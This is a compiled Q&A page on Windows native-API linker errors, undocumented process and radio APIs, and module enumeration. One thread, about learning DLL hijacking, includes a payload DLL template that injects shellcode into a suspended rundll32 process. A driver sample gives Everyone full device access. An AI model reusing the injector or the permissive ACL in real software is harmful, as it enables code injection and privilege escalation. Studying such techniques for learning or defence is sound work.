I write a windows 10 driver. And following is the code, actually the code is a sample of a book.
is there anyone know what shold i do to deal with this issue.
#include <ntifs.h>
#include <wdmsec.h>
PDEVICE_OBJECT g_cdo = NULL;
const GUID CWK_GUID_CLASS_MYCDO =
{ 0x17a0d1e0L, 0x3249, 0x12e1, {0x92,0x16, 0x45, 0x1a, 0x21, 0x30, 0x29, 0x06} };
#define CWK_CDO_SYB_NAME L"\\??\\slbkcdo_3948d33e"
void DriverUnload(PDRIVER_OBJECT driver)
{
// ...
}
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
NTSTATUS status;
ULONG i;
UCHAR mem[256] = { 0 };
UNICODE_STRING sddl = RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)");
UNICODE_STRING cdo_name = RTL_CONSTANT_STRING(L"\\Device\\cwk_3948d33e");
UNICODE_STRING cdo_syb = RTL_CONSTANT_STRING(CWK_CDO_SYB_NAME);
KdBreakPoint();
status = IoCreateDeviceSecure(
driver,
0, &cdo_name,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE, &sddl,
(LPCGUID)&CWK_GUID_CLASS_MYCDO,
&g_cdo);
if (!NT_SUCCESS(status))
return status;
// ...
return STATUS_SUCCESS;
}
the error message is:
LNK2019 unresolved external symbol WdmlibIoCreateDeviceSecure referenced in function DriverEntry MyDriver7 C:\Users\xxx\source\repos\MyDriver7\MyDriver7\Source.obj
You need to compile your project with Wdmsec.lib.
In Visual Studio, right click the project and go to Configuration Properties > Linker > Input > Additional Dependencies and add Wdmsec.lib.
Related
I have windows c++ application for fetching password complexity
somehow it is failing with linker error
Not able find documented header by msdn, even I copy the function declaration it is failing with linker error, may be possibly function signature mismatch of libs function. I do not find function signature from lib in Windows kits.
1>obj : error LNK2001: unresolved external symbol "long __cdecl SamQueryInformationDomain(void *,enum _DOMAIN_INFORMATION_CLASS,void * *)" (?SamQueryInformationDomain##YAJPEAXW4_DOMAIN_INFORMATION_CLASS##PEAPEAX#Z)
error LNK2001: unresolved external symbol "long __cdecl SamOpenDomain(void *,unsigned long,void *,void * *)" (?SamOpenDomain##YAJPEAXK0PEAPEAX#Z)
error LNK2001: unresolved external symbol "long __cdecl SamConnect(struct _LSA_UNICODE_STRING *,void * *,unsigned long,unsigned char)" (?SamConnect##YAJPEAU_LSA_UNICODE_STRING##PEAPEAXKE#Z)
error LNK2001: unresolved external symbol "long __cdecl SamCloseHandle(void *)" (?SamCloseHandle##YAJPEAX#Z)
but these functions are present in lib file, checked with dumpbin
#pragma comment(lib, "C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.19041.0\\um\\x64\\samlib.lib")
NTSTATUS SamQueryInformationDomain(SAMPR_HANDLE domain, DOMAIN_INFORMATION_CLASS val, PSAMPR_DOMAIN_INFO_BUFFER* Buffer);
extern NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT SAMPR_HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted);
extern NTSTATUS WINAPI SamOpenDomain(IN SAMPR_HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT SAMPR_HANDLE* DomainHandle);
extern NTSTATUS WINAPI SamCloseHandle(IN SAMPR_HANDLE SamHandle);
void ReadPasswordComplexInfo()
{
NTSTATUS status, enumDomainStatus, enumUserStatus;
UNICODE_STRING serverName;
ACCESS_MASK mask = 0;
mask = SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN;
SAMPR_HANDLE hServerHandle, hBuiltinHandle = NULL, hDomainHandle, hUserHandle;
DWORD domainEnumerationContext = 0, domainCountRetourned, userEnumerationContext, userCountRetourned, groupsCountRetourned, i, j, k, aliasCountRetourned, *alias;
PSAMPR_RID_ENUMERATION pEnumDomainBuffer, pEnumUsersBuffer;
PSID domainSid, userSid;
PGROUP_MEMBERSHIP pGroupMemberShip;
//PSAMPR_DOMAIN_INFO_BUFFER *buff = NULL;
PSAMPR_DOMAIN_INFO_BUFFER buff;
SID builtin = {SID_REVISION, 1, SECURITY_NT_AUTHORITY, {SECURITY_BUILTIN_DOMAIN_RID}};
RtlInitUnicodeString(&serverName, L"");
//status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);
status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);
if (0 != status)
{
printf("SamConnect error (?) %08x\n", status);
return;
}
//status = SamOpenDomain(hServerHandle, DOMAIN_LIST_ACCOUNTS | DOMAIN_LOOKUP, &builtin, &hBuiltinHandle);
status = SamOpenDomain(hServerHandle, DOMAIN_LIST_ACCOUNTS | DOMAIN_LOOKUP, domainSid, &hDomainHandle);
if (0 != status)
{
printf("SamOpenDomain Builtin (?) %08x\n", status);
return;
}
//status = SamQueryInformationDomain(hBuiltinHandle, DomainPasswordInformation, (PVOID*)&buff);
status = SamrQueryInformationDomain(hBuiltinHandle, DomainPasswordInformation, (PVOID*)&buff);
if (0 != status)
{
printf("SamQueryInformation failed with %08x\n", status);
}ULONG properties = buff->Password.PasswordProperties; printf("SamQueryInformation success with password properties value : %ld\n", properties);
if(hBuiltinHandle)
{
SamCloseHandle(hBuiltinHandle);
SamCloseHandle(hServerHandle);
}
}
Also tried with SamrOpenDomain API same issues.
I am trying to call native API(NtOpenKey) in user mode. I am seeing linker problem. I am really confused, what is missing here. How can I achieve doing this? I am attaching my code here. ntdll.lib is added to the project(link)
Error 58 error LNK2001: unresolved external symbol "__declspec(dllimport) long __cdecl NtOpenKey(void * *,unsigned long,struct _OBJECT_ATTRIBUTES *)" (__imp_?NtOpenKey##YAJPEAPEAXKPEAU_OBJECT_ATTRIBUTES###Z) C:\Users\santhi.ragipati\documents\visual studio 2013\Projects\NtRegistry\NtRegistry\NtRegistry.obj NtRegistry
Thanks
Santhi
`// NtRegistry.cpp : Defines the entry point for the console application.
//
#include <tchar.h>
#include <Windows.h>
#include <Winternl.h>
#include <ntstatus.h>
NTSYSAPI NTSTATUS NTAPI NtOpenKey(
_Out_ PHANDLE KeyHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes
);
int _tmain(int argc, _TCHAR* argv[])
{
HANDLE handleRegKey = NULL;
for (int n = 0; n < 1; n++)
{
NTSTATUS status = NULL;
UNICODE_STRING RegistryKeyName;
OBJECT_ATTRIBUTES ObjectAttributes;
RtlInitUnicodeString(&RegistryKeyName, L"\\Registry\\Machine\\Software\\MyCompany\\MyApp");
InitializeObjectAttributes(&ObjectAttributes,
&RegistryKeyName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL, // handle
NULL);
status = NtOpenKey(&handleRegKey, (ACCESS_MASK)KEY_READ, &ObjectAttributes);
if (NT_SUCCESS(status) == FALSE)
{
break;
}
} // Get the Frame location from the registry key.
// All done with the registry.
if (NULL != handleRegKey)
{
NtClose(handleRegKey);
}
return 0;
}
`
This was the giveaway:
NtOpenKey##YAJPEAPEAXKPEAU_OBJECT_ATTRIBUTES###Z
That's typical of C++ name mangling; since functions can be overloaded, but the function name used when exporting and importing must be unique, the name is modified to include a description of the argument list.
Adding extern "c" to the declaration will resolve the problem.
Incidentally, you probably don't want to set the OBJ_KERNEL_HANDLE flag, since it asks for a handle that you won't be able to use. I'm guessing Windows will ignore it, and give you a user-mode handle anyway, but better safe than sorry.
I'm learning about DLL Hijacking, going step by step this video made by Vivek - Privilege Escalation using DLL Hijacking
Everything is very well explained, but there is one passage that is getting me in trouble. It's about compiling "template.c" with mingw32 on Kali Linux. When I'm doing the same thing as is described in video, means:
root#kali:~# i686-w64-mingw32-gcc-win32 template.c -o template.dll
-shared
I'm still getting this error:
/tmp/ccRJy0bd.o:template.c:(.text+0x49): undefined reference to
`inline_bzero' collect2: error: ld returned 1 exit status
Here is source code of "template.c"
#include <windows.h>
#include "template.h"
#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
#endif
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
And "template.h", if needed.
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
Solved.
Just remove "#if BUILDMODE == 2" and "#endif" lines, then compilation is successfully done.
Just remove #if BUILDMODE == 2 and #endif lines, then compilation is successfully done.
I am writing an app where I need to turn airplane mode on or off on windows. I have seen this question, but the answers only get the status, or say you cannot do such a thing for Metro apps. I am not making a modern/metro app, so I don't need to worry about application sandboxing.
Is there an api to turn Airplane mode on/off, and how should I use it?
EDIT: In my use case, I know I can control it, and the user is ok with that.
Also, I found this msdn question with the following excerpt:
Windows 8(build 8250), I can turn on / off airplane mode in Metro Style Network Setting UI.
How to do this programmatically?
Microsoft defined HID Usage code for Wireless Radio Button (Usage: 0xC6).
Question: Is there some virtual key code for Wireless Radio Button? If so, Application can send this keycode by Keybd_event.
WLANAPI.dll export the API WlanStoreRadioStateOnEnteringAirPlaneMode , but there are no any document for this API.
Question: Can you provide detail information? Is it used to control Air Plane Mode, How to call this API?
So apparently (to give a summery of the answer), one can check the state of Airplane mode using the MobileBroadbandRadioState enum.
The HID route may be a possibility docs. Apparently it is a question of whether one can send the code 0xc6 to kbd_event.
EDIT2: Apparently there is a window called Network Flyout and I was thinking of enumerating the children to find the switch, but I haven't had much success. I'll have to use Spy++ some more to find out.
All of the following I discovered myself via reverse engineering.
The internal API used internally by windows to get/set Airplane mode makes use of COM calls to "RMsvc" service (which is located in "RMApi.dll"). That service is exporting a factory and interface which contains functions to get/set flight mode:
#include <Windows.h>
#include <assert.h>
#include <stdio.h>
static GUID const CLSID_RadioManagementAPI = { 0x581333f6, 0x28db, 0x41be, { 0xbc, 0x7a, 0xff, 0x20, 0x1f, 0x12, 0xf3, 0xf6 } };
static GUID const CID_IRadioManager = { 0xdb3afbfb, 0x08e6, 0x46c6, { 0xaa, 0x70, 0xbf, 0x9a, 0x34, 0xc3, 0x0a, 0xb7 } };
typedef IUnknown IUIRadioInstanceCollection; /* Didn't bother rev-engineering this one... */
typedef DWORD _RADIO_CHANGE_REASON;
typedef struct IRadioManagerVtbl IRadioManagerVtbl;
typedef struct IRadioManager {
IRadioManagerVtbl *lpVtbl;
} IRadioManager;
struct IRadioManagerVtbl {
/* IUnknown */
HRESULT (STDMETHODCALLTYPE *QueryInterface)(IRadioManager *This, GUID const *riid, LPVOID *ppvObj);
ULONG (STDMETHODCALLTYPE *AddRef)(IRadioManager *This);
ULONG (STDMETHODCALLTYPE *Release)(IRadioManager *This);
/* IRadioManager (aka. `CUIRadioManager') */
HRESULT (STDMETHODCALLTYPE *IsRMSupported)(IRadioManager *This, DWORD *pdwState);
HRESULT (STDMETHODCALLTYPE *GetUIRadioInstances)(IRadioManager *This, IUIRadioInstanceCollection **param_1);
HRESULT (STDMETHODCALLTYPE *GetSystemRadioState)(IRadioManager *This, int *pbEnabled, int *param_2, _RADIO_CHANGE_REASON *param_3);
HRESULT (STDMETHODCALLTYPE *SetSystemRadioState)(IRadioManager *This, int bEnabled);
HRESULT (STDMETHODCALLTYPE *Refresh)(IRadioManager *This);
HRESULT (STDMETHODCALLTYPE *OnHardwareSliderChange)(IRadioManager *This, int param_1, int param_2);
};
int main() {
HRESULT hr;
IRadioManager *irm;
hr = CoInitialize(NULL);
assert(!FAILED(hr));
irm = NULL;
hr = CoCreateInstance(&CLSID_RadioManagementAPI, NULL, 4,
&CID_IRadioManager, (void **)&irm);
assert(!FAILED(hr) && irm);
int bOldMode, b;
_RADIO_CHANGE_REASON c;
hr = irm->lpVtbl->GetSystemRadioState(irm, &bOldMode, &b, &c);
assert(!FAILED(hr));
printf("Old flight-mode state was: %s\n", bOldMode == 0 ? "on" : "off");
/* Set flight mode to the opposite state. */
hr = irm->lpVtbl->SetSystemRadioState(irm, bOldMode == 0 ? 1 : 0);
assert(!FAILED(hr));
irm->lpVtbl->Release(irm);
CoUninitialize();
return 0;
}
I have a requirement to retrieve all modules of a 64bit process in a 32bit WOW process in Windows, EnumProcessModules would fail as described:
If this function is called from a 32-bit application running on WOW64, it can only enumerate the modules of a 32-bit process. If the process is a 64-bit process, this function fails and the last error code is ERROR_PARTIAL_COPY (299).
So as to EnumProcessModulesEx and CreateToolhelp32Snapshot.
Do you have any idea on how to achieve it?
Thanks.
Without going into undocumented APIs, you can't do this. In general, reading a 64-bit process' memory from a 32-bit process won't work due to the address space differences.
EnumProcessModulesEx, which has LIST_MODULES_32BIT and LIST_MODULES_64BIT filter flags, has this to say:
This function is intended primarily for 64-bit applications. If the function is called by a 32-bit application running under WOW64, the dwFilterFlag option is ignored and the function provides the same results as the EnumProcessModules function.
You could do this by converting your program to 64-bit, using an out-of-proc 64-bit COM server (specifically using a DLL surrogate), or having a separate process that you communicate with. Alternatively, depending on when your process starts relative to your target process, you could use WMI to get module load events. See the Win32_ModuleLoadTrace event.
Process Explorer, a single 32-bit exe, can show you modules for both 32- and 64-bit processes, but it's really smoke and mirrors: the 32-bit exe contains a 64-bit version of itself that gets written out to disk and executed on 64-bit machines.
Solution for your request has some intersections with the task of reading x64 process memory from x86 process. Mainly, we should be aware of functions NtWow64QueryInformationProcess64 and NtWow64ReadVirtualMemory64 which are present in x86 ntdll.dll and are designed specifically for getting information about x64 process from the x86 one.
We should also know some dependencies between OS structures.
PROCESS_BASIC_INFORMATION contains address of PEB. PEB stands for Process Environment Block. It contains address of PEB_LDR_DATA structure. It in turn contains address of the first LDR_DATA_TABLE_ENTRY structure in the LIST_ENTRY chain. LDR_DATA_TABLE_ENTRY contains link to the following LDR_DATA_TABLE_ENTRY.
Example of examining this information in WinDbg:
0:000> !peb
PEB at 000007fffffdb000
...
0:000> dt ntdll!_peb 000007fffffdb000
...
+0x018 Ldr : 0x00000000`76fbd640 _PEB_LDR_DATA
...
0:000> dt ntdll!_PEB_LDR_DATA 76fbd640
...
+0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x00000000`00415bb0 - 0x00000000`070eb9c0 ]
...
0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY 00415bb0
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`00415ca0 - 0x00000000`76fbd650 ]
...
+0x030 DllBase : 0x00000001`3f4d0000 Void
...
+0x058 BaseDllName : _UNICODE_STRING "procexp64.exe"
...
0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY 00415ca0
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`00416020 - 0x00000000`00415bb0 ]
...
+0x030 DllBase : 0x00000000`76e90000 Void
...
+0x058 BaseDllName : _UNICODE_STRING "ntdll.dll"
...
Steps to be taken in code are the following:
Obtain process handle with usual call to OpenProcess function.
Read PROCESS_BASIC_INFORMATION structure with call to NtWow64QueryInformationProcess64.
Get address of PEB which is present in PROCESS_BASIC_INFORMATION structure.
Read PEB structure with call to NtWow64ReadVirtualMemory64.
Get address of PEB_LDR_DATA structure.
Read PEB_LDR_DATA structure and get address of first LDR_DATA_TABLE_ENTRY element.
Keep on reading memory for LDR_DATA_TABLE_ENTRY element while the address of the next element is not equal to the address of the first element.
At step 7 we also read buffer of UNICODE_STRING (which resides in LDR_DATA_TABLE_ENTRY) to obtain current module name.
The code is provided below. It consists of two files, main.cpp and os_structs.hpp.
main.cpp:
#include "os_structs.hpp"
#include <algorithm>
#include <codecvt>
#include <cstdint>
#include <iostream>
#include <stdexcept>
#include <string>
#include <vector>
#ifndef WIN32
# error "This application must be built as an x86 executable"
#endif
#define GET_FUNC_ADDR(name) _##name name = (_##name)::GetProcAddress(::GetModuleHandleA("ntdll.dll"), #name)
#define IS_TRUE(clause, msg) if (!(clause)) { throw std::runtime_error(msg); }
namespace
{
struct close_on_exit
{
close_on_exit(HANDLE ptr)
: ptr_(ptr)
{ };
~close_on_exit()
{
if (ptr_)
{
::CloseHandle(ptr_);
ptr_ = nullptr;
}
}
private:
HANDLE ptr_;
};
// Names of modules
std::string convert_unicode_to_utf8(std::vector<uint8_t> &raw_bytes)
{
std::vector<uint16_t> unicode(raw_bytes.size() >> 1, 0);
memcpy(unicode.data(), raw_bytes.data(), raw_bytes.size());
std::wstring_convert<std::codecvt_utf8<wchar_t>> converter;
const std::wstring wide_string(unicode.begin(), unicode.end());
const std::string utf8_string = converter.to_bytes(wide_string);
return utf8_string;
}
void *get_handle(uint32_t id)
{
HANDLE handle = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
std::cout << "Opening target process...";
IS_TRUE(NULL != handle, "OpenProcess failed");
std::cout << " ok" << std::endl;
return handle;
}
void check_if_process_is_x64(HANDLE handle)
{
BOOL is_wow64_process = TRUE;
IS_TRUE(::IsWow64Process(handle, &is_wow64_process), "IsWow64Process failed");
IS_TRUE(FALSE == is_wow64_process, "Target process is not x64 one");
}
std::vector<uint8_t> read_mem(HANDLE handle, uint64_t address, uint32_t length)
{
IS_TRUE(handle, "No process handle obtained");
std::vector<uint8_t> data(length, 0);
GET_FUNC_ADDR(NtWow64ReadVirtualMemory64);
NTSTATUS status = NtWow64ReadVirtualMemory64(handle, address, data.data(), data.size(), FALSE);
IS_TRUE(NT_SUCCESS(status), "NtWow64ReadVirtualMemory64 failed");
return data;
}
void read_pbi(HANDLE handle, sys::PROCESS_BASIC_INFORMATION64 &pbi)
{
IS_TRUE(handle, "No process handle obtained");
GET_FUNC_ADDR(NtWow64QueryInformationProcess64);
NTSTATUS status = NtWow64QueryInformationProcess64(handle, sys::ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
IS_TRUE(NT_SUCCESS(status), "NtQueryInformationProcess failed");
}
std::vector<uint8_t> read_peb_data(HANDLE handle)
{
sys::PROCESS_BASIC_INFORMATION64 pbi = { 0 };
read_pbi(handle, pbi);
return read_mem(handle, pbi.PebBaseAddress, sizeof(sys::PEB64));
}
bool get_modules_load_order_via_peb(HANDLE handle)
{
std::cout << "Getting module load order...\n" << std::endl;
std::vector<uint8_t> read_peb = read_peb_data(handle);
sys::PEB64 *peb = (sys::PEB64 *)read_peb.data();
// ------------------------------------------------------------------------
// Read memory from pointer to loader data structures.
// ------------------------------------------------------------------------
std::vector<uint8_t> read_peb_ldr_data = read_mem(handle, (uintptr_t)peb->LoaderData, sizeof(sys::PEB_LDR_DATA64));
sys::PEB_LDR_DATA64 *peb_ldr_data = (sys::PEB_LDR_DATA64 *)read_peb_ldr_data.data();
sys::PEB_LDR_DATA64 *loader_data = (sys::PEB_LDR_DATA64 *)peb->LoaderData;
const uintptr_t addr_of_ptr_to_first_ldr_module = (uintptr_t)loader_data
+ ((uintptr_t)&loader_data->InLoadOrderModuleList - (uintptr_t)&loader_data->Length);
ULONGLONG address = peb_ldr_data->InLoadOrderModuleList.Flink;
uint32_t counter = 1;
// ------------------------------------------------------------------------
// Traversing loader data structures.
// ------------------------------------------------------------------------
do
{
std::vector<uint8_t> read_ldr_table_entry = read_mem(handle, address, sizeof(sys::LDR_DATA_TABLE_ENTRY64));
sys::LDR_DATA_TABLE_ENTRY64 *ldr_table_entry = (sys::LDR_DATA_TABLE_ENTRY64 *)read_ldr_table_entry.data();
std::vector<uint8_t> unicode_name = read_mem(handle, ldr_table_entry->BaseDllName.Buffer, ldr_table_entry->BaseDllName.MaximumLength);
std::string name = convert_unicode_to_utf8(unicode_name);
std::cout << "Module: " << name << std::endl;
std::cout << " Image base: 0x" << std::hex << ldr_table_entry->BaseAddress << std::endl;
ldr_table_entry = (sys::LDR_DATA_TABLE_ENTRY64 *)read_ldr_table_entry.data();
address = (uintptr_t)ldr_table_entry->InLoadOrderModuleList.Flink;
} while (addr_of_ptr_to_first_ldr_module != address);
std::cout << "\nEnumeration finished" << std::endl;
return true;
}
} // namespace
int main()
{
try
{
HANDLE handle = get_handle(16944);
close_on_exit auto_close_handle(handle);
check_if_process_is_x64(handle);
get_modules_load_order_via_peb(handle);
}
catch (const std::runtime_error &e)
{
std::cerr << "\n----------------------------------------------------\n";
std::cerr << "Exception occurred: " << e.what();
std::cerr << "\n----------------------------------------------------\n";
}
return 0;
}
os_structs.hpp:
#pragma once
#include <windows.h>
#define NT_SUCCESS(x) ((x) >= 0)
// Namespace is present Not to collide with "winbase.h"
// definition of PROCESS_INFORMATION_CLASS and others.
namespace sys
{
typedef enum _PROCESS_INFORMATION_CLASS {
ProcessBasicInformation,
ProcessQuotaLimits,
ProcessIoCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort,
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDefaultHardErrorMode,
ProcessIoPortHandlers,
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
MaxProcessInfoClass
} PROCESS_INFORMATION_CLASS, *PPROCESS_INFORMATION_CLASS;
// ------------------------------------------------------------------------
// Structs.
// ------------------------------------------------------------------------
typedef struct _PROCESS_BASIC_INFORMATION64 {
ULONGLONG Reserved1;
ULONGLONG PebBaseAddress;
ULONGLONG Reserved2[2];
ULONGLONG UniqueProcessId;
ULONGLONG Reserved3;
} PROCESS_BASIC_INFORMATION64;
typedef struct _PEB_LDR_DATA64 {
ULONG Length;
BOOLEAN Initialized;
ULONGLONG SsHandle;
LIST_ENTRY64 InLoadOrderModuleList;
LIST_ENTRY64 InMemoryOrderModuleList;
LIST_ENTRY64 InInitializationOrderModuleList;
} PEB_LDR_DATA64, *PPEB_LDR_DATA64;
// Structure is cut down to ProcessHeap.
typedef struct _PEB64 {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
ULONGLONG Mutant;
ULONGLONG ImageBaseAddress;
ULONGLONG LoaderData;
ULONGLONG ProcessParameters;
ULONGLONG SubSystemData;
ULONGLONG ProcessHeap;
} PEB64;
typedef struct _UNICODE_STRING64 {
USHORT Length;
USHORT MaximumLength;
ULONGLONG Buffer;
} UNICODE_STRING64;
typedef struct _LDR_DATA_TABLE_ENTRY64 {
LIST_ENTRY64 InLoadOrderModuleList;
LIST_ENTRY64 InMemoryOrderModuleList;
LIST_ENTRY64 InInitializationOrderModuleList;
ULONGLONG BaseAddress;
ULONGLONG EntryPoint;
DWORD64 SizeOfImage;
UNICODE_STRING64 FullDllName;
UNICODE_STRING64 BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY64 HashTableEntry;
ULONGLONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY64, *PLDR_DATA_TABLE_ENTRY64;
} // namespace sys
// ------------------------------------------------------------------------
// Function prototypes.
// ------------------------------------------------------------------------
typedef NTSTATUS(NTAPI *_NtWow64QueryInformationProcess64)(
IN HANDLE ProcessHandle,
ULONG ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL);
typedef NTSTATUS(NTAPI *_NtWow64ReadVirtualMemory64)(
IN HANDLE ProcessHandle,
IN DWORD64 BaseAddress,
OUT PVOID Buffer,
IN ULONG64 Size,
OUT PDWORD64 NumberOfBytesRead);
If you're interested in initial structure definitions - the best way I've figured out is to download symbols for WinDbg and then watch structures' layout in this debugger. You can see the sample in this post above.
Use Windows Management Instrumentation (WMI). Example (Delphi):
function GetProcessCount(const aFileName: string): Integer;
var
lValue: LongWord;
lWMIService: OleVariant;
lWMIItems: OleVariant;
lWMIItem: OleVariant;
lWMIEnum: IEnumVariant;
begin
Result := -1;
lWMIService := GetWMIObject('winmgmts:\\.\root\CIMV2'); { Do not localize. }
if (TVarData(lWMIService).VType = varDispatch) and (TVarData(lWMIService).VDispatch <> nil) then
begin
Result := 0;
lWMIItems := lWMIService.ExecQuery(Format('SELECT * FROM Win32_Process WHERE Name=''%s''', [ExtractFileName(aFileName)])); { Do not localize. }
lWMIEnum := IUnknown(lWMIItems._NewEnum) as IEnumVariant;
while lWMIEnum.Next(1, lWMIItem, lValue) = 0 do
begin
Inc(Result);
end;
end;
end;